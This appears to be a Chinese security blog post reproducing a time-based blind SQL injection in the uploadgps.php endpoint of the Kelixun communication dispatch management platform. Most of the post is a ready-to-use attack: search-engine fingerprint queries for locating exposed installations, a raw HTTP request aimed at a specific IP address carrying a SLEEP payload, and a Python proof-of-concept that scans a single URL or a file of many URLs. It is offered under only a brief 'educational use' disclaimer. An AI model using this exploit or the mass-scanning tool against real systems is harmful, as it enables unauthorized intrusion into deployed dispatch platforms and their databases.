【漏洞复现】科立讯通信指挥调度管理平台——uploadgps——SQL注入

发布于:2024-07-10 ⋅ 阅读:(172) ⋅ 点赞:(0)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。其uploadgps接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句。

漏洞复现

1)信息收集
fofa:body="指挥调度管理平台"
hunter:web.body="指挥调度管理平台"
在这里插入图片描述
人生而自由,却无往不在枷锁中。
在这里插入图片描述
2)构造数据包

POST /api/client/task/uploadgps.php HTTP/1.1
Host:119.91.51.243:7080
Content-Type: application/x-www-form-urlencoded

uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number=

代码解释:

  1. uuid=:这可能是一个参数名,通常用于标识请求的唯一性,但在这里它后面没有值。

  2. gps=1'gps 可能是一个参数名,其值被设为 1。单引号 ' 通常用于结束SQL语句中的字符串,但在这里它被用来尝试结束一个字符串值。

  3. AND:SQL中的逻辑运算符,用来连接多个条件。

  4. (SELECT 7679 FROM (SELECT(SLEEP(4)))ozYR):这是一个SQL查询,尝试从子查询中选择值。SLEEP(4) 是一个SQL函数,它会使查询暂停4秒。这通常用于测试SQL注入漏洞,因为如果查询延迟了,就可能表明注入点存在。

  5. AND 'fqDZ'='fqDZ':这是一个始终为真的条件,因为字符串 'fqDZ' 被比较为自身。

整个代码片段的意图是利用SQL注入技术,通过插入恶意SQL代码来测试或利用后端数据库的漏洞。如果这段代码被成功执行,它可能会导致数据库执行一个延迟的操作,攻击者可以通过观察响应时间来探测数据库结构或获取敏感信息。

在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
import time

RED = '\033[91m'
RESET = '\033[0m'

# Function to check vulnerability
def check_vulnerability(url):
    try:
        # Construct the attack URL
        path = "/api/client/task/uploadgps.php"
        payload = "uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number="
    
        full_url = url.rstrip('/') + path
        headers = {
            "Content-Type": "application/x-www-form-urlencoded"
        }

        start_time = time.time()
        # Send the request
        response = requests.post(full_url, data=payload, headers=headers, timeout=30)
        elapsed_time = time.time() - start_time
  
        if 4 <= elapsed_time < 6:
            print(f"{RED}URL [{url}] 可能存在福建科立讯通信有限公司指挥调度管理平台 uploadgps.php SQL注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# Main function to parse arguments and check vulnerability
def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在福建科立讯通信有限公司指挥调度管理平台 uploadgps.php SQL注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到